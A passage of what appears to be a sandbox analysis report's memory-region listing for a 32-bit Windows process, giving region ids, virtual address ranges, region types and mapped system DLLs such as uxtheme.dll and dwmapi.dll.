0x8c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000008b80000" filename = "" Region: id = 2068 start_va = 0xfff9e000 end_va = 0xfffa0fff entry_point = 0x0 region_type = private name = "private_0x00000000fff9e000" filename = "" Region: id = 2069 start_va = 0x2b0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 2070 start_va = 0x2290000 end_va = 0x238ffff entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 2071 start_va = 0xfffd5000 end_va = 0xfffd7fff entry_point = 0x0 region_type = private name = "private_0x00000000fffd5000" filename = "" Region: id = 2072 start_va = 0x73dd0000 end_va = 0x73e4ffff entry_point = 0x73dd0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2073 start_va = 0x2390000 end_va = 0x25affff entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 2074 start_va = 0x2390000 end_va = 0x246efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002390000" filename = "" Region: id = 2075 start_va = 0x2570000 end_va = 0x25affff entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 2076 start_va = 0x73640000 end_va = 0x73652fff entry_point = 0x73640000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2175 start_va = 0x2470000 end_va = 0x256ffff entry_point = 0x0 region_type = private name = "private_0x0000000002470000" filename = "" Region: id = 2176 start_va = 0x25b0000 end_va = 0x25effff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 2177 start_va = 0x25f0000 end_va = 0x26effff entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 2178 start_va = 0xfff9b000 end_va = 0xfff9dfff entry_point = 0x0 region_type = private name = "private_0x00000000fff9b000" filename = "" Region: id = 2179 start_va = 0x26f0000 end_va = 0x28effff entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 2180 start_va = 0x28f0000 end_va = 0x29affff entry_point = 0x28f0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2181 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2182 start_va = 0x5e0000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2183 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2184 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2185 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2186 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2187 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2188 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2189 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2190 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2191 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2192 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2193 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2194 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2195 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2196 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2197 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2198 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2199 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2200 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2201 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2202 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2203 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2204 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2205 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2206 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2207 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2208 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2209 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2210 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2211 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2212 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2213 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2214 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2215 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2216 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2217 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2218 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2219 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2220 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2221 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2222 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2223 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2224 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2225 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2226 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2227 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2228 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2229 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2230 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2231 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2232 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2233 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2234 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2235 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2236 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2237 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2238 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2239 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2240 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2241 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2242 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2243 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2244 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2245 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2246 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2247 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2248 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2249 start_va = 0x5e0000 end_va = 0x5e2fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2250 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2251 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2252 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2253 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2254 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2255 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2258 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2259 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2260 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2261 start_va = 0x5e0000 end_va = 0x5eafff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2262 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2263 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2264 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2265 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2266 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2267 start_va = 0x5e0000 end_va = 0x5e7fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2268 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2269 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2270 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2271 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2272 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2273 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2274 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2275 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2276 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2278 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2279 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2280 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2281 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2282 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2283 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2284 start_va = 0x29b0000 end_va = 0x29c0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2285 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2286 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2287 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2288 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2289 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2290 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2291 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2292 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2293 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2294 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2295 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2296 start_va = 0x29b0000 end_va = 0x29c5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2297 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2298 start_va = 0x29b0000 end_va = 0x29c8fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2299 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2300 start_va = 0x29b0000 end_va = 0x29c3fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2301 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2302 start_va = 0x29b0000 end_va = 0x29c4fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2303 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2304 start_va = 0x29b0000 end_va = 0x29c4fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2305 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2306 start_va = 0x5e0000 end_va = 0x5edfff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2307 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2308 start_va = 0x5e0000 end_va = 0x5e3fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2309 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2310 start_va = 0x5e0000 end_va = 0x5ecfff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2311 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2312 start_va = 0x5e0000 end_va = 0x5e2fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2313 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2314 start_va = 0x5e0000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2315 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2316 start_va = 0x5e0000 end_va = 0x5e2fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2317 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2318 start_va = 0x5e0000 end_va = 0x5eefff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2319 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2320 start_va = 0x5e0000 end_va = 0x5e4fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2321 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2322 start_va = 0x5e0000 end_va = 0x5eefff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2323 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2324 start_va = 0x5e0000 end_va = 0x5edfff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2325 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2326 start_va = 0x29b0000 end_va = 0x29c6fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2327 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2328 start_va = 0x5e0000 end_va = 0x5eefff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2329 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2330 start_va = 0x5e0000 end_va = 0x5e9fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2331 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2332 start_va = 0x5e0000 end_va = 0x5e1fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2333 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2334 start_va = 0x5e0000 end_va = 0x5e5fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2335 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2336 start_va = 0x29b0000 end_va = 0x29c1fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2337 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2338 start_va = 0x29b0000 end_va = 0x29c5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2339 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2340 start_va = 0x5e0000 end_va = 0x5ecfff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2341 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2342 start_va = 0x29b0000 end_va = 0x29c2fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2343 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2344 start_va = 0x29b0000 end_va = 0x29c3fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2345 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2346 start_va = 0x29b0000 end_va = 0x29c2fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2347 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2348 start_va = 0x5e0000 end_va = 0x5e7fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2349 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2350 start_va = 0x29b0000 end_va = 0x29c2fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2351 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2352 start_va = 0x5e0000 end_va = 0x5ebfff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2353 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2354 start_va = 0x5e0000 end_va = 0x5eafff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2355 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2356 start_va = 0x29b0000 end_va = 0x29c6fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2357 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2358 start_va = 0x5e0000 end_va = 0x5eefff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2359 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2360 start_va = 0x5e0000 end_va = 0x5e4fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2361 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2362 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2363 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2364 start_va = 0x5e0000 end_va = 0x5e7fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2365 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2366 start_va = 0x5e0000 end_va = 0x5e1fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2367 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2368 start_va = 0x29b0000 end_va = 0x29c1fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2369 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2370 start_va = 0x5e0000 end_va = 0x5e2fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2371 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2372 start_va = 0x29b0000 end_va = 0x29c0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2373 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2374 start_va = 0x5e0000 end_va = 0x5edfff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2375 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2376 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2378 start_va = 0x5e0000 end_va = 0x5e7fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2379 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2380 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2381 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2382 start_va = 0x29b0000 end_va = 0x29c3fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2383 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2384 start_va = 0x5e0000 end_va = 0x5e5fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2385 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2386 start_va = 0x5e0000 end_va = 0x5e4fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 2387 start_va = 0x1f50000 end_va = 0x1f75fff 